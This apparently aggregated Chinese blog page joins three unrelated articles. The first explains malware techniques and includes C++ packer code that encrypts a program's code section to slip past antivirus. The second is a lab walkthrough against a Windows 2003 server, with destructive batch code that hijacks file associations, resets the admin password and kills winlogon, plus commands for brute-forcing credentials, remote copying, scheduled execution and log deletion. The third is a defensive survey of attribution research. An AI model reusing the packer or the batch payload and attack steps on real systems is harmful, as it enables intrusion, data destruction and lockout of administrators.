精华内容
下载资源
问答
  • 恶意代码攻击原理

    2019-04-19 16:44:36
    @TOC关于恶意代码攻击原理 恶意代码实现入侵的相关技术 (1) 渗透技术: 渗透的方式感染可执行程序、分区表和数据文件; 通过移动介质; 通过人、社会工程方式; 借助于系统和软件漏洞; 通过电子邮件Web...

    @TOC关于恶意代码攻击原理

    恶意代码实现入侵的相关技术

    (1) 渗透技术:

    渗透的方式感染可执行程序、分区表和数据文件;

    通过移动介质;

    通过人、社会工程方式;

    借助于系统和软件漏洞;

    通过电子邮件Web网站和网页;

    P2P文件共享;

    即时通信工具和ARP欺骗方式;

    (2) 自启动技术:(目的是保证恶意代码在受害主机下一次开启主机后再次被激活)

    基本方法:

    1) 通过服务启动;

    很多开机启动程序仅仅在启动项里面,只有登录后才能真正的启动,windows服务在开机前未进行用户登录前就启动了,恶意代码通过服务启动的方式渗透

    2) 通过添加注册表启动;

    3) 通过文件关联启动;

    4) 通过修改程序系统配置的文件启动;

    5) 作为其他程序的插件启动;

    6) 通过文件绑定方式启动;

    (3) 自我保护技术

    (一) 反静态分析:

    1) 自身隐藏在注册表、重要文件或系统文件或系统文件夹等隐蔽性很强的位置,躲避反恶意代码的检测

    2)
    微信截图_20190417215950.png
    加壳/多态技术:将恶意代码用一段不被非法修改或反编译的程序封装起来,在这一个可执行的文件中,通过一些被非法修改或反编译的程序,即外壳保护后压缩原来exe文件,通过loader加载映射进入exe文件,实现了恶意代码返检测的功能

    相关加壳技术的代码(查找了相关的资料学过java的可以上机运行一下)

    bool CPack::Pack(WCHAR * szPath)
    
    {
    
     CPe objPe;
    
     //读取要被加壳的PE文件
    
     DWORD dwReadFilSize = 0;
    
     HANDLE hFile = CreateFile(szPath,GENERIC_READ | GENERIC_WRITE, 0, NULL,
    
     OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    
     DWORD dwFileSize = GetFileSize(hFile, NULL);
    
     char * pFileBuf = new char[dwFileSize];
    
     memset(pFileBuf, 0, dwFileSize);
    
     ReadFile(hFile, pFileBuf, dwFileSize, &dwReadFilSize, NULL);
    
     //获取PE头文件信息
    
     PEHEADERINFO pPeHead = { 0 };
    
     objPe.GetPeHeaderinfo(pFileBuf, &pPeHead);
    
     //加密
    
     IMAGE_SECTION_HEADER pTxtSection;
    
     objPe.GetSectionInfo(pFileBuf, &pTxtSection, ".text");
    
     objPe.XorCode((LPBYTE)(pTxtSection.PointerToRawData + pFileBuf), pTxtSection.SizeOfRawData);
    
     //用loadLibrary加载壳文件
    
     HMODULE pLoadStubBuf = LoadLibrary(L"..\\Release\\Stub.dll");
    
     //存储必要的信息
    
     PPACKINFO PackInfoAdd = (PPACKINFO)GetProcAddress((HMODULE)pLoadStubBuf, "g_PackInfo");
    
     PackInfoAdd->dwOriStartPoint = pPeHead.pOptionHeader->AddressOfEntryPoint; //需要跳转的OEP
    
     PackInfoAdd->dwImageBase = pPeHead.pOptionHeader->ImageBase; //默认加载基址
    
     PackInfoAdd->dwXorCode = pTxtSection.VirtualAddress; //加密代码段地址
    
     PackInfoAdd->dwXorKey = 0xE; //加密密钥
    
     PackInfoAdd->dwXorSize = pTxtSection.SizeOfRawData; //加密大小
    
     PackInfoAdd->stcPeRelocDir = pPeHead.pOptionHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; //重定位表信息
    
     PackInfoAdd->dwSizeOfImage = pPeHead.pOptionHeader->SizeOfImage; //原PE的大小
    
     //拷贝一份
    
     MODULEINFO stcModInfo = { 0 };
    
     GetModuleInformation(GetCurrentProcess(), pLoadStubBuf, &stcModInfo, sizeof(MODULEINFO));
    
     char * pStubBuf = new char[stcModInfo.SizeOfImage];
    
     memset(pStubBuf, 0, stcModInfo.SizeOfImage);
    
     memcpy(pStubBuf, pLoadStubBuf, stcModInfo.SizeOfImage);
    
     //申请新空间存储新PE
    
     int NewPeSize = objPe.GetAddSectionSize(pFileBuf, (char*)pLoadStubBuf, stcModInfo.SizeOfImage);
    
     char * pNewPeBuf = new char[NewPeSize];
    
     memset(pNewPeBuf, 0, NewPeSize);
    
     memcpy(pNewPeBuf, pFileBuf, dwFileSize);
    
     //修改重定位表
    
     objPe.FixReloc(pStubBuf, pNewPeBuf);
    
     // 添加一个区段
    
     objPe.AddSection(pNewPeBuf, pStubBuf, stcModInfo.SizeOfImage);
    
     //设置入口点
    
     //自己定义的壳的开始位置的原始偏移
    
     DWORD Offset = PackInfoAdd->dwStartPoint - (DWORD)pLoadStubBuf;
    
     //相对于新PE的起始位置的偏移
    
     unsigned int NewOep = Offset + pPeHead.pOptionHeader->SizeOfImage;
    
     objPe.SetOep(pNewPeBuf, NewOep);
    
     //保存成文件
    
     SavePackFile(szPath, pNewPeBuf, NewPeSize);
    
     //释放内存
    
     delete[]pFileBuf;
    
     delete[]pStubBuf;
    
     delete[]pNewPeBuf;
    
     return true;
    
    }
    

    作者:woshigeshusheng

    来源:CSDN

    原文:https://blog.csdn.net/woshigeshusheng/article/details/68489843

    版权声明:本文为博主原创文章,转载请附上博文链接!

    未加壳时:恶意代码数据流想入侵受害主机或许被防火墙阻隔,或者是相关的反恶意代码的检测机制,阻断了恶意代码的入侵途径

    加壳后:恶意代码数据流在外壳的保护下可以直接通过防火墙或者欺骗过反恶意代码的检查机制成功入侵受害主机

    (二) 反动态跟踪:

    (4) 隐蔽通信(通过远程控制,即实质上是加密被控主机端和控制端之间传送命令和命令执行结果)

    远程控制的基本流程:

    (a) 服务器监听:服务器端套接字并不定位具体的客户端套接字,而是处于等待连接的状态,即实时监控网络的状态

    (b) 客户端的请求:指由客户端的套接字提出连接的要求,要连接的目标是服务器端的套接字,指出服务器端的套接字的地址和端口号,然后就向服务器端提出连接请求

    (c) 连接确认:是指当服务器端套接字监听或者接收到客户端套接字的连接请求,它就相应客户端套接字的请求,建立一个新的线程,把服务器端的套接字的描述发给客户端,一旦客户端确认了此描述,连接就建立好了,而服务器端的套接字继续处于监听状态,继续接收其他客户端套接字的连接请求

    常见的隐蔽通信的方式:

    1) 直接使用套接字进行通讯控制

    (a) 服务器端侦听,客户端连接:

    (b) 客户端侦听,服务器端连接:

    à这两样方式都会引起防火墙报警

    因此(a)的方法可以通过全局IP地址,通过限制恶意代码的活动范围使其精准地入侵受害主机;而(b)的方法通过线程注入的方式,具体方法如下:在当前所有运行的进程中找到目标进程;其次将我们的DLL内容写入目标进程的私有空间;通过关键的API创建线程加载到DLL中

    2) 隐蔽通道

    3) ICMP隧道:

    利用ICMP_ECHO和ICMP_ECHOREPLY两种报文

    4) 使用第三方交互服务进行通讯

    5) 通过ARP欺骗或DHCP欺骗等网络代理木马欺骗方式

    微信图片_20190417222207.jpg
    ARP欺骗

    恶意代码通过调用ARP上的压缩数据包,将其传送到网络,尤其是网关上,目的是将特定的IP地址的数据流被错误的送到攻击者所取代的地方

    (5) 攻击技术

    攻击技术是指一切试图跨越系统安全边界危害受害主机的可用性、可靠性、数据完整性、或者消耗受害者主机的系统资源以及受害主机危害他人的所有行为;归纳起来就是拒绝服务攻击、信息窃取、数据破坏、修改系统配置

    展开全文
  • 针对win2003服务器的恶意代码攻击 目录针对win2003服务器的恶意代码攻击实验环境恶意代码语言构建与解释:关键命令语句解释:交互式:非交互式:实验过程:#配置网段和IP,使其相互ping通使用ntscan扫描以及暴力破解服务器...

    针对win2003服务器的恶意代码攻击

    摘要:
    再本次实验中,利用批处理语言写出一个简单的脚本恶意代码,按照功能与使用场景不同,分成了交互时和非交互式两个版本,交互式版本可以伪装成杀毒软件,诱导Windows2003服务器管理者运行.非交互式可以通过客户机windowsXP进行远程攻击Windows2003服务器,过程如下:
    1.配置网段与IPIP地址,使其相互pingping
    2.利用445端口漏洞,XP通过ntscan工具对2003进行扫描端口以及管理员密码暴力破解.
    3.根据得到的管理员帐号和密码通过XP命令行命令与目标主机2003建立IPC$
    4.将恶意代码植入目标主机2003
    5.通过net\ time等指令远程控制目标主机2003定时运行恶意代码.
    6.运行结束,删除日志,退出登录
    最后,总结了本次攻击过程中利用的漏洞,以及给出了防御方法与建议.

    实验环境

    所有实验过程在Vmware虚拟机进行,使用两个操作统,Windows2003作为服务器,为被攻击方.WindowsXP为客户机,为攻击方.操作系统信息如下:

    • 2003

    • xp

    恶意代码语言构建与解释:

    关键命令语句解释:

     `//注意:由于批处理语句在latex环境中识别错误,
     //所以为方便注释,将原本正确的注释格式::改成了C语言注释格式//
    assoc .txt=exefile>nul //将系统中所有.txt后缀文件改成exefile,同时隐藏输出
    assoc .exe=txtfile>nul//将系统中所有.exe后缀文件改成txtfile,同时隐藏输出
    assoc .jpg=exefile>nul//将系统中所有.jpg后缀文件改成exefile,同时隐藏输出
    ping -n 2 127.0.0.1>nul//利用ping命令,起到延时作用,同时隐藏输出
    set /p num=输入密码是: //用户输入密码,同时赋值到num变量中
    if "%num%"=="123" goto case1 //条件判断,进行跳转
    if  not "%num%"=="123" goto case2
    	
    :case1 //跳转语句入口
    assoc .txt=txtfile>nul //进行修复
    assoc .exe=exefile>nul
    assoc .jpg=jpgfile>nul
    taskkill /im explorer.exe /f >nul 2>nul //强制杀死explorer进程,导致桌面系统瘫痪
    ntsd -c q -pn winlogon.exe //蓝屏炸弹语句,
    //会强制杀死winlogon进程,使系统重启,同时出现蓝屏`
    

    交互式:

    为了隐藏代码文件,将bat文件转换成exe程序,运行时结果如下:

    1. 文件破坏:蓝屏
      文件破坏

    2. 输入密码正确后,文件修复,自动退出3
      4

    3. 密码输入错误后,锁住桌面系统,启动蓝屏炸弹:5

    非交互式:

    bat关键代码及其解释如下:

    assoc .txt=exefile>nul //将系统中所有.txt后缀文件改成exefile,同时隐藏输出
    assoc .exe=txtfile>nul//将系统中所有.exe后缀文件改成txtfile,同时隐藏输出
    assoc .jpg=exefile>nul//将系统中所有.jpg后缀文件改成exefile,同时隐藏输出
    net user administrator 123//修改服务器开机密码.
    taskkill /im explorer.exe /f >nul 2>nul //强制杀死explorer进程,导致桌面系统瘫痪
    ntsd -c q -pn winlogon.exe //蓝屏炸弹语句,会强制杀死winlogon进程,使系统重启,同时出现蓝屏
    

    实验过程:

    #配置网段和IP,使其相互ping通

    1. 使用Vmnet2网段配置网段

    2. P配置

    • Windows2003配置为10.1.1.3:配置IP

    • XP配置为10.1.1.1配置IP

    1. 相互pingping
      ping

    使用ntscan扫描以及暴力破解服务器账户与密码

    1. 根据用户习惯设置密码字典pass

    2. 根据用户习惯设置账户名字典ntscan

    3. 利用IPC$端口开启暴力破解ntscan

    将恶意代码植入2003服务器

    1. 登录服务器 net use \\10.1.1.3\ipc$ abc /user:administrator
    2. 植入代码到目标主机的C盘目录 copy d:Non_interactive.exe \\10.1.1.3\c$
    • Windows2003:在这里插入图片描述
    • XP:在这里插入图片描述

    控制目标主机自动运行恶意代码

    	net time//返回目标主机时间
    	at \\10.1.1.3 XXX c:\Non_interactive.exe//XXX需要填入运行时间,一般比目标主机时间多5分钟
    	at \\10.1.1.3//察看2003运行进程计划表
    
    • XP:xp

    • 2003:恶意代码攻击
      利用修改后的新密码123登陆后,文件已经被破坏:
      在这里插入图片描述

    退出登录,攻击结束

    此步骤需要在运行恶意代码之前进行,否则会出现恶意代码运行后,密码改变,无法多用户访问服务器的情况.

    	net use \\10.1.1.3\ipc$ /delte //退出登录
    

    漏洞分析与防御

    共有三个漏洞与相应建议:

    IPC$

    通过netstat annetstat\ -an以及net sharenet\ share可以查看IPC$ 状态,本次攻击利用了445端口开放的漏洞,所以一般情况下,我们需要关闭此端口,以抵御端口扫描与暴力破解.检查与抵御过程如下:

    • 查看IPC$服务,发现已开启,故有漏洞:445端口

    • 关闭此服务:

    • 在这里插入图片描述在这里插入图片描述

    • 再次查看,发现已经关闭:
      在这里插入图片描述

    密码设置

    管理员密码设计过于简单,应该避开常用密码,尽量使用3/4准则设计密码.

    管理员权限

    对网络上的运行程序,运行前要慎重,有条件的话,可以运用一些工具查看以下脚本语言,再运行,尽量不要轻易使用管理员权限运行程序.

    参考博客:

    批处理语言基础
    恶意代码参考
    远程控制命令

    ntscan资源 提取码:qphj
    真空密码生成器提取码:c01y

    展开全文
  • 这篇文章将结合作者的《系统安全前沿》作业,论文及绿盟李东宏老师的博客及宋老师的论文,从产业界和学术界分别详细讲解恶意代码攻击溯源的相关知识。在学术界方面,用类似于综述来介绍攻击追踪溯源的不同方法;在...

    您可能之前看到过我写的类似文章,为什么还要重复撰写呢?只是想更好地帮助初学者了解病毒逆向分析和系统安全,更加成体系且不破坏之前的系列。因此,我重新开设了这个专栏,准备系统整理和深入学习系统安全、逆向分析和恶意代码检测,“系统安全”系列文章会更加聚焦,更加系统,更加深入,也是作者的慢慢成长史。换专业确实挺难的,逆向分析也是块硬骨头,但我也试试,看看自己未来四年究竟能将它学到什么程度,漫漫长征路,偏向虎山行。享受过程,一起加油~

    前文分享了逆向知识,利用Cheat Engine工具逆向分析游戏CS1.6,并实现无限子弹功能。这篇文章将结合作者的《系统安全前沿》作业,论文及绿盟李东宏老师的博客及宋老师的论文,从产业界和学术界分别详细讲解恶意代码攻击溯源的相关知识。在学术界方面,用类似于综述来介绍攻击追踪溯源的不同方法;在产业界方面,主要参考李东宏老师从企业恶意样本分析的角度介绍溯源工作。关于攻击溯源的博客和论文都比较少,希望这篇文章对您有所帮助,如果文章中存在错误、理解不到位或侵权的地方,还请告知作者与海涵。且看且珍惜,加油~

    作者作为网络安全的小白,分享一些自学基础教程给大家,主要是关于安全工具和实践操作的在线笔记,希望您们喜欢。同时,更希望您能与我一起操作和进步,后续将深入学习网络安全和系统安全知识并分享相关实验。总之,希望该系列文章对博友有所帮助,写文不易,大神们不喜勿喷,谢谢!如果文章对您有帮助,将是我创作的最大动力,点赞、评论、私聊均可,一起加油喔~

    作者的github资源:

    从2019年7月开始,我来到了一个陌生的专业——网络空间安全。初入安全领域,是非常痛苦和难受的,要学的东西太多、涉及面太广,但好在自己通过分享100篇“网络安全自学”系列文章,艰难前行着。感恩这一年相识、相知、相趣的安全大佬和朋友们,如果写得不好或不足之处,还请大家海涵!

    接下来我将开启新的安全系列,叫“系统安全”,也是免费的100篇文章,作者将更加深入的去研究恶意样本分析、逆向分析、内网渗透、网络攻防实战等,也将通过在线笔记和实践操作的形式分享与博友们学习,希望能与您一起进步,加油~

    前文分析:

    声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。该样本不会分享给大家,分析工具会分享。(参考文献见后)


    一.前言

    近年来,网络安全事件和恶意代码攻击层出不穷,它们给国家、社会和个人带来了严重的危害,如分布式拒绝服务攻击(DDoS)、基于僵尸网络(Botnet)的攻击、勒索病毒WannaCry、高级可持续威胁(APT)攻击、利用远程控制木马的信息窃取等。

    2017年以来,恶意代码数量依然呈上升的趋势,尤其是新型恶意代码,其数量始终呈逐年递增状态,这对网络空间安全造成了极大的威胁。在这些恶意代码攻击中, 攻击者会向目标主机(受害主机),发送特定的攻击数据包或执行恶意行为。如果能追踪这些攻击数据包的来源,定位攻击者的真实位置,受害主机不但可以采用应对措施,如在合适位置过滤攻击数据包,而且可以对攻击者采取法律手段。因此在网络取证和安全防御领域,网络攻击溯源一直是一个热点问题。

    下图展示了APT组织Lazarus(APT38)的重大攻击时间线。如果某次攻击发生时或发生前,我们能够追踪溯源到是某个组织发起的,那是不是就能有效避免一次安全攻击呢?
    强推这篇文章:APT组织Lazarus的攻击历程 - Freebuf深信服团队

    在这里插入图片描述

    网络攻击追踪溯源旨在利用各种手段追踪网络攻击的发起者。相关技术提供了定位攻击源和攻击路径,针对性反制或抑制网络攻击,以及网络取证能力,其在网络安全领域具有非常重要的价值。当前,网络空间安全形势日益复杂,入侵者的攻击手段不断提升,其躲避追踪溯源的手段也日益先进,如匿名网络、网络跳板、暗网、网络隐蔽信道、隐写术等方法在网络攻击事件中大量使用,这些都给网络攻击行为的追踪溯源工作带来了巨大的技术挑战。

    传统的恶意代码攻击溯源方法是通过单个组织的技术力量,获取局部的攻击相关信息,无法构建完整的攻击链条,一旦攻击链中断,往往会使得前期大量的溯源工作变得毫无价值。同时,面对可持续、高威胁、高复杂的大规模网络攻击,没有深入分析攻击组织之间的关系,缺乏利用深层次恶意代码的语义知识,后续学术界也提出了一些解决措施。

    下图展示了Lazarus盗窃孟加拉国央行的行动流程,通过Alreay攻击组件篡改SWIFT软件,使得黑客能够操作银行账号任意进行转账,从而窃取了8100万美元。同时,在2017年最早版本的WannaCry病毒中,安全厂商发现了其中存在着Lazarus使用过的代码,从而判断该病毒是由Lazarus制作的。Lazarus确实是一支非常厉害的APT组织。

    在这里插入图片描述

    为了进一步震慑黑客组织与网络犯罪活动,目前学术界和产业界均展开了恶意代码溯源分析与研究工作。其基本思路是:

    • 同源分析: 利用恶意样本间的同源关系发现溯源痕迹,并根据它们出现的前后关系判定变体来源。恶意代码同源性分析,其目的是判断不同的恶意代码是否源自同一套恶意代码或是否由同一个作者、团队编写,其是否具有内在关联性、相似性。从溯源目标上来看,可分为恶意代码家族溯源及作者溯源。
    • 家族溯源: 家族变体是已有恶意代码在不断的对抗或功能进化中生成的新型恶意代码,针对变体的家族溯源是通过提取其特征数据及代码片段,分析它们与已知样本的同源关系,进而推测可疑恶意样本的家族。例如,Kinable等人提取恶意代码的系统调用图,采用图匹配的方式比较恶意代码的相似性,识别出同源样本,进行家族分类。
    • 作者溯源: 恶意代码作者溯源即通过分析和提取恶意代码的相关特征,定位出恶意代码作者特征,揭示出样本间的同源关系,进而溯源到已知的作者或组织。例如,Gostev等通过分析Stuxnet与Duqu所用的驱动文件在编译平台、时间、代码等方面的同源关系,实现了对它们作者的溯源。2015年,针对中国的某APT攻击采用了至少4种不同的程序形态、不同编码风格和不同攻击原理的木马程序,潜伏3年之久,最终360天眼利用多维度的“大数据”分析技术进行同源性分析,进而溯源到“海莲花”黑客组织。

    在这里插入图片描述

    由此可见,发现样本间的同源关系对于恶意代码家族和作者的溯源,甚至对攻击组织的溯源以及攻击场景还原、攻击防范等均具有重要意义。


    二.恶意代码攻击溯源的相关研究

    1.恶意代码溯源

    在与恶意样本的的对抗过程中,恶意软件分析和检测技术也在不断发展。基于静态分析的检测、基于动态分析的检测以及基于机器学习的检测等技术不断涌现。基于静态分析的检测对非混淆样本更为准确,而基于动态分析的检测在检测混淆恶意软件方面表现更为出色;基于机器学习的检测是通过对大规模恶意样本进行特征提取(如 API(application programming interface)、CFG(control flow graph)、关键字符串值等),然后采用机器学习算法(例如分类或聚类)训练样本,以构建模型判断软件的恶意特性。这为安全研究人员提供了良好的辅助功能,有效地提高了大规模恶意软件的检测速度。

    恶意代码溯源: 是指通过分析恶意代码生成、传播的规律以及恶意代码之间衍生的关联性,基于目标恶意代码的特性实现对恶意代码源头的追踪。了解恶意代码的演化,有助于更好地把握恶意代码的发展趋势,为攻击追踪溯源提供相关启示。文献[5]从时间维度给出了恶意软件典型功能演变历程,并将恶意软件的演化历程分为3个阶段。

    • 第一阶段为1971年至1999年,恶意软件主要以原始程序的形式出现,恶意软件功能单一,破坏程度小,无对抗行为。
    • 第二阶段为2000年至2008年,恶意软件的破坏性增强,恶意软件及其工具包数量急剧增长,借助网络感染速率加快,电子邮件类蠕虫、受损网站、SQL注入攻击成为主流。
    • 第三阶段为2000年之后,经济利益和国家利益的驱使下的恶意软件存在团队协作紧密、功能日趋复杂、可持续性强及对抗性强等特点。

    PC端恶意软件的演化及影响详见下表:

    时间段 代表样本 软件类型 目的或影响 样本功能技术特征
    1971 Creeper 一般程序 实验 能够在计算机之间移动
    1974 Wabbit 一般程序 致使系统奔溃 具有自我复制功能
    1982 Elk cloner 病毒 克隆 具有传播、自我复制功能
    1986 PC-Write trojan 病毒 测试公司软件漏洞 可以感染MS-DOS计算机
    1991 Michelangelo virus 病毒 在3月6日擦除硬盘中信息 感染,擦除硬盘信息
    1999 Melissa virus 病毒 群发邮件 感染计算机,获取其outlook地址薄,群发邮件
    2000 ILOVEYOU worm 蠕虫 损害大型企业和政府机构 以良性主题发送电子邮件传播,感染5000万台计算机,蔓延至全球.
    2001 Annna Kournikova virus 病毒 传播恶意软件,进行破坏 将恶意软件隐藏在吸引人的照片中,通过电子邮件发送进行传播
    2003 SQL slammer worm 蠕虫 感染计算机实施破坏 利用漏洞,传播速度快,感染范围广
    2005 Koobface virus 病毒 针对社交网络进行攻击 感染PC然后传播到社交网站
    2008 ConFicker worm 蠕虫 造成自Slammer出现以来最严重破坏 感染并实施破坏
    2010 Stuxnet worm 蠕虫 攻击伊朗的核电站,包括其硬件与软件功能 具有APT团队开发的复杂性和先进性,具有密集资源信息
    2011 Zeus trojan 木马 窃取银行信息 影响范围广,通过浏览器按键记录和 表单抓取来窃取银行信息.
    2014 Backoff 后门 盗取信用卡数据 破坏POS系统以窃取信用卡数据
    2017 Wannacry ransomware 勒索软件 获取支付赎金 利用漏洞,将用户数据锁定,致使感染150多个 国家超过23万台Windows系统瘫痪

    网络攻击追踪溯源按照追踪的深度和精准度可分为:

    • 追踪溯源攻击主机
    • 追踪溯源攻击控制主机
    • 追踪溯源攻击者
    • 追踪溯源攻击组织机构

    常用方法包括域名/IP地址分析、入侵日志监测、全流量分析、同源分析、攻击模型分析等。为了进一步防御网络犯罪活动和威慑黑客组织,目前学术界和产业界均展开了恶意代码溯源分析与研究工作。


    下图展示了网络追踪溯源体系结构:

    在这里插入图片描述

    网络追踪溯源常用工具包括:磁盘和数据捕获工具、文件查看器、文件分析工具、注册表分析工具、互联网分析工具、电子邮件分析工具、移动设备分析工具、网络流量取证工具、数据库取证工具等。

    在这里插入图片描述

    推荐三篇相关工具及技术的文章:


    2.追踪溯源案例

    这里分享两个简单的案例,一个是铁人王进喜案例,另一个是Lazarus溯源案例。

    (1) 铁人王进喜案例
    中国最著名“照片泄密案”是1964年《中国画报》封面刊出的一张照片。在这张照片中,中国大庆油田的“铁人”王进喜头戴大狗皮帽,身穿厚棉袄,顶着鹅毛大雪,握着钻机手柄眺望远方。日本情报专家根据这张照片,解开了中国最大的石油基地大庆油田的秘密,分析出大庆油田及其产油量和规模,从而在同中方谈判购买设备时占得先机。

    从第一张照片中分析出:大庆可能位于东北省。
    根据照片上王进喜的衣着判断,只有在北纬46度至48度的区域内,冬季才有可能穿这样的衣服,因此推断大庆油田位于齐齐哈尔与哈尔滨之间。

    在这里插入图片描述

    从第二张照片中分析出:油井的直接。

    在这里插入图片描述

    从第三张照片中分析出:马家窑是大庆的中心。

    在这里插入图片描述

    从第四张照片中分析出:马家窑离火车站不远。

    在这里插入图片描述

    从第五张照片中分析出:大庆已经大量产油。

    在这里插入图片描述

    从工作报告中分析出:大庆油田的产油量。同时,从王进喜所站的钻井与背后油田间的距离和井架密度,推断出油田的大致储量和产量。

    在这里插入图片描述

    有了如此多的准确情报,日本人迅速设计出适合大庆油田开采用的石油设备。当中国政府向世界各国征求开采大庆油田的设备方案时,日本人一举中标。庆幸的是,日本当时是出于经济危机,根据情报分析结果,向我国高价推销炼油设施,而不是用于其他战略意图。看了这个案例,您会想到什么呢?其实这就是安全领域一个非常经典的社会工程学案例。


    (2) Lazarus溯源案例

    该部分源自:https://www.freebuf.com/articles/system/221008.html

    对APT组织进行追踪需要一定的积累,只有熟悉了该组织的常用攻击手法(TTPs),才能在新型的攻击中将其辨识出来。其中,通过样本共用代码段进行关联是最高效的方式,这也突显了使用yara规则进行样本分析的好处。

    首先,我们需要从已有的样本中筛选出相同的特征码,可以使用Bindiff来比较已有样本相似的代码片段,如下:找到相似度较高且不是系统API的函数。

    在这里插入图片描述

    然后优先选取Blocks数较多、匹配指令数较多的函数。

    在这里插入图片描述

    在这里插入图片描述

    可以重点挑选一些加密算法代码作为特征码,这样比较没那么容易误报。除此之外,也可以使用一些自动化提取yara规则的工具可以使用,比如yargen:https://github.com/Neo23x0/yarGen

    在这里插入图片描述

    如下,是提取出来的wannacry的特征码,可以在VT上进行关联,来追踪Lazarus的相似攻击组件。

    在这里插入图片描述

    在VT搜索框中,输入:content:”{51 53 55 8B 6C 24 10 56 57 6A 20 8B 45 00 8D 75 04 24 01 0C 01 46 89 45 00 C6 46 FF 03 C6 06 01 46 56 E8}”,就能筛选出所有具有这个代码片段的样本,直到今年7月份,都还有相关的样本活跃。

    在这里插入图片描述

    打开详细信息,发现这是Lazarus用于攻击孟加拉国的alreay攻击组件,那么也就说明,WannaCry和Alreay确实有共用的代码片段,通过这种方式,就可以关联出Lazarus所使用的攻击组件。

    在这里插入图片描述

    将yara规则添加到hunting中,一旦VT捕获到新的样本符合这条规则,就会立刻通知我们。

    在这里插入图片描述


    三.学术界恶意代码溯源

    学术界旨在采用静态或动态的方式获取恶意代码的特征信息,通过对恶意代码的特征学习,建立不同类别恶意代码的特征模型,通过计算待检测恶意代码针对不同特征类别的相似性度量,指导恶意代码的同源性判定。常见的恶意代码溯源主要包括4个阶段:特征提取、特征预处理、相似性计算、同源判定,各阶段间的流程关系如下图所示。

    在这里插入图片描述

    上图是将溯源对象Windows平台的PE恶意文件或Android平台的APK恶意文件输入溯源系统,经过特征提取、特征预处理、相似性计算、同源分析获取溯源结果,最终判定攻击家族或作者。

    1.特征提取

    特征提取是溯源分析过程的基础,具有同源性的恶意代码是通过它们的共有特征与其他代码区分开来的。所提取的特征既要反映出恶意代码的本质和具有同源性恶意代码之间的相似性,又要满足提取的有效性。

    依据溯源目的,溯源特征提取包括溯源家族的特征提取和溯源作者的特征提取。Faruki等在字节码级别提取统计性强的序列特征,包括指令、操作码、字节码、API代码序列等。Perdisci R等通过n-gram提取字节码序列作为特征。Ki Y等提出了捕获运行过程中的API序列作为特征,利用生物基因序列检测工具ClustalX对API序列进行相似性分析,得到恶意代码的同源性判定。DNADroid使用PDG作为特征,DroidSim是一种基于组件的CFG来表示相似性代码特征,与早期的方法相比,该系统检测代码重用更准确。

    2.特征预处理

    特征提取过程中会遇到不具有代表性、不能量化的原始特征,特征预处理针对这一问题进行解决,以提取出适用于相似性计算的代表性特征。特征预处理一方面对初始特征进行预处理,另一方面为相似性计算提供基础数据。常见的特征类型包括序列特征和代码结构特征。

    序列特征预处理: 包括信息熵评估、正则表达式转换、N-grams序列、序列向量化、权重量化法等,序列特征预处理会将初始特征中冗余特征消除、特征语义表达式增强、特征量化等以便于进行相似性计算。L. Wu通过分析恶意软件敏感API操作以及事件等,将API序列特征转换为正则表达式,并在发生类似的正则表达式模式时检测恶意代码。IBM研究小组先将N-gram方法应用于恶意软件分析中,使用N-gram的统计属性预测给定序列中下个子序列,从而进行相似度计算。Kolosnjaji等提出对API调用序列进行N-gram处理获取子序列,采用N-gram方法将API调用序列转换为N-gram序列,实现过程下图所示。

    在这里插入图片描述

    代码结构特征预处理: 在相似度比较时存在边、节点等匹配问题即子图同构算法复杂性,同时代码结构特征中存在冗余结构,因此除去冗余、保留与恶意操作相关的代码结构是预处理的主要目的。常见的方法包括API调用图预处理、CFG图预处理、PDG图预处理等。


    3.相似性计算

    溯源旨在通过分析样本的同源性定位到家族或作者,样本的同源性可以通过分析代码相似性来获取。相似性计算旨在衡量恶意代码间相似度,具体为采用一种相似性模型对恶意代码的特征进行运算。根据预处理特征类型的不同以及溯源需求、效率、准确性等差异,采用不同的相似性运算方法。

    目前比较流行的相似性计算方法主要集中在对集合、序列、向量、图等特征表现形式的处理。Qiao等基于集合计算相似性,在不同恶意样本API集合的相似性比较中采用了Jaccard系数方法,将为A、B两个集合的交集在并集中所占的比例作为相似度,比例值越大,证明越相似,如公式所示。

    在这里插入图片描述

    Faruki等提出了采用SDhash相似性散列技术构建样本的签名序列,并采用汉明距离法对序列进行相似性计算,从而识别同源性样本。Suarez-Tangil 等用数据挖掘算法中向量空间模型展示家族的恶意代码特征形式,将同家族提取出来的具有代表性的CFG元素作为特征中维度,采用余弦算法对不同家族的向量空间模型进行相似度计算,根据余弦值来判断它们的相似性,从而识别出相似性样本,进而归属到对应的家族。用于比较向量的余弦相似度反映了恶意代码间的相似性,其具体公式如公式所示。

    在这里插入图片描述

    Cesare等提出了最小距离匹配度量法,比较不同样本的CFG图特征的相似性。Kinable等通过静态分析恶意代码的系统调用图,采用图匹配的方式计算图相似性得分,该得分近似于图的编辑距离。利用该得分比较样本的相似性,采用聚类算法将样本进行聚类,实现家族分类。

    4.同源判定

    学术界常见的同源判定方法主要包括基于聚类算法的同源判定、基于神经网络的同源判定等。Kim等采用DBSCAN算法对基于调用图聚类,发现类似的恶意软件。Feizollah等提出采用层聚类算法,构建家族间演化模型,进而发掘家族功能的演化。Niu等提出了层次聚类和密度聚类算法结合的快速聚类算法对操作码序列特征进行聚类,以识别恶意软件变体,该方法识别变体效率较高。

    神经网络是一种多层网络的机器学习算法,可以处理多特征以及复杂特征的同源判定。基本思想为:将样本特征作为输入层数据,然后不断调整神经网络参数,直到输出的样本与该样本是一种同源关系未为止。它会将恶意代码特征送输入层,即可判断恶意代码的同源性.。赵炳麟等提出了基于神经网络的同源判定方法,其整体实现框架如下图所示。

    在这里插入图片描述


    四.产业界恶意代码溯源

    产业界除了采用与学术界类似的同源判定方法之外,还会通过关联的方法对恶意代码进行溯源。产业界的溯源意图除了溯源出编写恶意代码作者、恶意代码家族之外,还要挖掘出攻击者及攻击者背后的真正意图,从而遏制攻击者的进一步行动。

    产业界与学术界溯源方法的差异主要表现在特征提取和同源判定两个方面:在特征提取上,产业界更倾向于从代码结构、攻击链中提取相似性特征;在同源判定上,除了采用与已有的历史样本进行相似度聚类分析之外,产业界还会采用一些关联性分析方法。相比学术界溯源特征,产业界溯源特征更加详细全面,信息复杂度大。因此,学术界的同源判定方法并不能完全用于产业界各类特征的相似性分析中,常见产业界溯源方法分类如下表所示。

    在这里插入图片描述

